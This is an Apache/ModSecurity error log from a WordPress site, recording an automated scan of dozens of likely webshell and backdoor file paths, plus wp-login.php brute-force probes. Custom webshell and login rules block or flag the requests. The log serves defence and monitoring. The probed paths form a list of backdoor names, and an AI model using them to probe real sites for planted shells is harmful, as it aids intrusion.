[Fri Mar 13 05:07:35.797778 2026] [:error] [pid 62036:tid 62058] [client 136.144.19.219:59733] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "abMrF7ce6g9kILuh_R7aNAAAAM8"]
[Fri Mar 13 05:07:36.310770 2026] [:error] [pid 62036:tid 62056] [client 216.24.219.143:32827] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "abMrGLce6g9kILuh_R7aQAAAAM0"]
[Fri Mar 13 05:07:37.515050 2026] [:error] [pid 61929:tid 62013] [client 136.144.19.55:20963] [client 136.144.19.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "abMrGTGGsow2jgUjLtxDcQAAAIk"]
[Fri Mar 13 05:07:38.029463 2026] [:error] [pid 61928:tid 61981] [client 136.144.19.77:43219] [client 136.144.19.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "abMrGgod66AHekJJZioaswAAAEQ"]
[Fri Mar 13 05:07:39.468660 2026] [:error] [pid 61927:tid 61952] [client 136.144.19.67:34235] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Fri Mar 13 05:07:40.656529 2026] [:error] [pid 61927:tid 61958] [client 136.144.19.67:34235] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "abMrHLLkK584eBa2J7W50QAAAAw"]
[Fri Mar 13 05:07:41.198627 2026] [:error] [pid 61927:tid 61950] [client 136.144.19.69:50383] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "abMrHbLkK584eBa2J7W52AAAAAQ"]
[Fri Mar 13 05:07:42.284692 2026] [:error] [pid 62036:tid 62049] [client 136.144.19.46:46217] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "abMrHrce6g9kILuh_R7aawAAAMY"]
[Fri Mar 13 05:07:42.835330 2026] [:error] [pid 44755:tid 44758] [client 216.24.219.196:29519] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "abMrHvONf1H0XrBFE4NPWwAAAQE"]
[Fri Mar 13 05:07:46.250375 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.76:56845] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "abMrIvONf1H0XrBFE4NPfgAAAQM"]
[Fri Mar 13 05:07:47.054877 2026] [:error] [pid 62036:tid 62045] [client 193.36.224.140:30495] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abMrI7ce6g9kILuh_R7amQAAAMI"]
[Fri Mar 13 05:07:48.261109 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.76:43895] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "abMrJPONf1H0XrBFE4NPlwAAAQQ"]
[Fri Mar 13 05:07:48.773721 2026] [:error] [pid 62036:tid 62066] [client 136.144.19.221:45925] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "abMrJLce6g9kILuh_R7aogAAANc"]
[Fri Mar 13 05:07:49.324463 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.52:24861] [client 136.144.19.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "abMrJfONf1H0XrBFE4NPsAAAAQk"]
[Fri Mar 13 05:07:49.861666 2026] [:error] [pid 44755:tid 44763] [client 136.144.19.53:25347] [client 136.144.19.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abMrJfONf1H0XrBFE4NPuwAAAQY"]
[Fri Mar 13 05:07:51.027482 2026] [:error] [pid 61929:tid 62025] [client 216.24.219.204:55607] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abMrJzGGsow2jgUjLtxDyAAAAJU"]
[Fri Mar 13 05:07:52.164420 2026] [:error] [pid 61929:tid 62012] [client 136.144.19.222:34063] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Fri Mar 13 05:07:53.595530 2026] [:error] [pid 61929:tid 62015] [client 136.144.19.222:34063] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "abMrKTGGsow2jgUjLtxD6gAAAIs"]
[Fri Mar 13 05:07:55.610898 2026] [:error] [pid 61929:tid 62012] [client 136.144.19.228:40449] [client 136.144.19.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abMrKzGGsow2jgUjLtxEBAAAAIg"]
[Fri Mar 13 05:07:56.160884 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.227:40953] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "abMrLPONf1H0XrBFE4NQBQAAAQQ"]
[Fri Mar 13 05:07:57.035748 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.55:46443] [client 136.144.19.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "abMrLfONf1H0XrBFE4NQGAAAARE"]
[Fri Mar 13 05:07:58.543147 2026] [:error] [pid 61928:tid 61993] [client 136.144.19.223:54875] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Fri Mar 13 05:07:59.114785 2026] [:error] [pid 61928:tid 61980] [client 136.144.19.223:54875] [client 136.144.19.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "abMrLwod66AHekJJZiobJAAAAEM"]
[Fri Mar 13 05:07:59.950473 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.228:53991] [client 136.144.19.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "abMrL_ONf1H0XrBFE4NQPAAAARU"]
[Fri Mar 13 05:08:00.885561 2026] [:error] [pid 44755:tid 44766] [client 216.24.219.143:28213] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abMrMPONf1H0XrBFE4NQTQAAAQk"]
[Fri Mar 13 05:08:01.727727 2026] [:error] [pid 62036:tid 62051] [client 216.24.219.143:52669] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abMrMbce6g9kILuh_R7bOwAAAMg"]
[Fri Mar 13 05:08:02.842513 2026] [:error] [pid 61928:tid 61997] [client 136.144.19.73:59887] [client 136.144.19.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "abMrMgod66AHekJJZiobKwAAAFQ"]
[Fri Mar 13 05:08:03.363831 2026] [:error] [pid 62036:tid 62055] [client 136.144.19.234:58467] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abMrM7ce6g9kILuh_R7bSQAAAMw"]
[Fri Mar 13 05:08:05.325906 2026] [:error] [pid 61927:tid 61967] [client 136.144.19.235:53805] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "abMrNbLkK584eBa2J7W6JQAAABU"]
[Fri Mar 13 05:08:07.056962 2026] [:error] [pid 61927:tid 61954] [client 136.144.19.58:38755] [client 136.144.19.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "abMrN7LkK584eBa2J7W6LgAAAAg"]
[Fri Mar 13 05:08:07.623705 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.61:24389] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Fri Mar 13 05:08:09.076016 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.61:24389] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Fri Mar 13 05:08:09.900739 2026] [:error] [pid 62036:tid 62062] [client 136.144.19.61:24389] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "abMrObce6g9kILuh_R7blwAAANM"]
[Fri Mar 13 05:08:10.525864 2026] [:error] [pid 62036:tid 62063] [client 216.24.219.212:20429] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/wp-login.php"] [unique_id "abMrOrce6g9kILuh_R7bnAAAANQ"]
[Fri Mar 13 05:08:11.680370 2026] [:error] [pid 62036:tid 62050] [client 216.24.219.196:30947] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abMrO7ce6g9kILuh_R7brQAAAMc"]
[Fri Mar 13 05:08:12.254012 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.229:32749] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "abMrPPONf1H0XrBFE4NQ5QAAARY"]
[Fri Mar 13 05:08:13.206251 2026] [:error] [pid 44755:tid 44779] [client 193.36.224.114:54207] [client 193.36.224.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.224.114, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "abMrPfONf1H0XrBFE4NQ8wAAARY"]
[Fri Mar 13 05:08:13.472094 2026] [:error] [pid 44755:tid 44757] [client 193.36.224.114:54207] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Fri Mar 13 05:08:15.373903 2026] [:error] [pid 44755:tid 44765] [client 193.36.224.114:54207] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "abMrP_ONf1H0XrBFE4NRDAAAAQg"]
[Fri Mar 13 05:08:16.233183 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.229:23263] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Fri Mar 13 05:08:16.518199 2026] [:error] [pid 61929:tid 62017] [client 136.144.19.229:23263] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "abMrQDGGsow2jgUjLtxEowAAAI0"]
[Fri Mar 13 05:08:17.712245 2026] [:error] [pid 44755:tid 44777] [client 193.36.224.114:21677] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky.php"] [unique_id "abMrQfONf1H0XrBFE4NRPQAAARQ"]
[Fri Mar 13 05:08:18.245370 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.72:56311] [client 136.144.19.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "abMrQrce6g9kILuh_R7b0QAAAME"]
[Fri Mar 13 05:08:18.834899 2026] [:error] [pid 62036:tid 62048] [client 136.144.19.222:34325] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "abMrQrce6g9kILuh_R7b3AAAAMU"]
[Fri Mar 13 05:08:19.393618 2026] [:error] [pid 62036:tid 62059] [client 136.144.19.76:36923] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Fri Mar 13 05:08:22.181567 2026] [:error] [pid 62036:tid 62062] [client 136.144.19.76:36923] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "abMrRrce6g9kILuh_R7cBgAAANM"]
[Fri Mar 13 05:08:22.769036 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.226:64183] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "abMrRvONf1H0XrBFE4NRegAAAQs"]
[Fri Mar 13 05:08:23.589430 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.60:20931] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Fri Mar 13 05:08:23.909148 2026] [:error] [pid 44755:tid 44770] [client 136.144.19.60:20931] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "abMrR_ONf1H0XrBFE4NRiQAAAQ0"]
[Fri Mar 13 05:08:25.295564 2026] [:error] [pid 61927:tid 61959] [client 136.144.19.80:46583] [client 136.144.19.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "abMrSbLkK584eBa2J7W6dQAAAA0"]
[Fri Mar 13 05:08:26.169918 2026] [:error] [pid 44755:tid 44765] [client 216.24.219.196:22937] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "abMrSvONf1H0XrBFE4NRoAAAAQg"]
[Fri Mar 13 05:08:26.679302 2026] [:error] [pid 44755:tid 44770] [client 216.24.219.143:65021] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Fri Mar 13 05:08:26.993550 2026] [:error] [pid 44755:tid 44768] [client 216.24.219.143:65021] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "abMrSvONf1H0XrBFE4NRrwAAAQs"]
[Fri Mar 13 05:08:28.135127 2026] [:error] [pid 44755:tid 44772] [client 216.24.219.200:62373] [client 216.24.219.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.200, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abMrTPONf1H0XrBFE4NRywAAAQ8"]
[Fri Mar 13 05:08:28.138673 2026] [:error] [pid 44755:tid 44772] [client 216.24.219.200:62373] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 13 05:08:28.439346 2026] [:error] [pid 44755:tid 44769] [client 216.24.219.200:62373] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "abMrTPONf1H0XrBFE4NR0QAAAQw"]
[Fri Mar 13 05:08:29.678369 2026] [:error] [pid 62036:tid 62052] [client 193.36.224.140:44009] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "abMrTbce6g9kILuh_R7cXQAAAMk"]
[Fri Mar 13 05:08:30.924554 2026] [:error] [pid 62036:tid 62050] [client 136.144.19.48:36745] [client 136.144.19.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.48, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "abMrTrce6g9kILuh_R7ccAAAAMc"]
[Fri Mar 13 05:08:31.802115 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.48:36745] [client 136.144.19.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "abMrT7ce6g9kILuh_R7cfQAAAME"]
[Fri Mar 13 05:08:32.436613 2026] [:error] [pid 61928:tid 62000] [client 216.24.219.204:46373] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "abMrUAod66AHekJJZiob1wAAAFc"]
